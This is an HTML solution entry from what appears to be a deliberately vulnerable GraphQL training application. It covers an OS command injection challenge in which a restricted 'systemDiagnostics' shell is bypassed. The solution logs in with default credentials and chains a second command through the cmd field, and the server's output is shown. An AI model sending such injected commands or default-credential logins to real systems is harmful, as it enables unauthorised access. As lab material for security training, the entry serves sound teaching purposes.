<!-- Start -->
<h3 style="color:purple" id="exec-os-2"><b>Code Execution :: OS Command Injection #2</b></h3>
<hr />
<h5>Problem Statement</h5>
<p>
  The query <code>systemDiagnostics</code> accepts certain UNIX binaries as parameters for debugging purposes, such as
  <code>whoami</code>, <code>ps</code>, etc. It acts as a restricted shell. However, it is protected
  with a username and password. After obtaining the <a href="http://127.0.0.1:5013/solutions#misc-weakpass">correct
  credentials</a>, the restricted shell seems to be bypassable by chaining commands together.
</p>
<h5>Resources</h5>
<ul>
  <li>
    <a href="https://www.netsparker.com/blog/web-security/command-injection-vulnerability/" target="_blank">
      <i class="fa fa-newspaper"></i> Netsparker - Command Injection
    </a>
  </li>
</ul>
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-exec-os-2')">Show</button></h5>
<div id="sol-exec-os-2" style="display:none">
  <pre class="bash">
# System Diagnostics suffers from weak restricted shell implementation

query {
  systemDiagnostics(username:"admin", password:"password", cmd:"id")
}

>>> Response:
{
  "data": {
    "systemDiagnostics": "id: command not found"
  }
}


query {
  systemDiagnostics(username:"admin", password:"password", cmd:"id; ls -l")
}

>>> Response:
{
  "data": {
    "systemDiagnostics": "total 128\ndrwxr-xr- .. COLORTERM=truecolor\n_=/usr/bin/env\n"
  }
}</pre>
</div>
<!-- End -->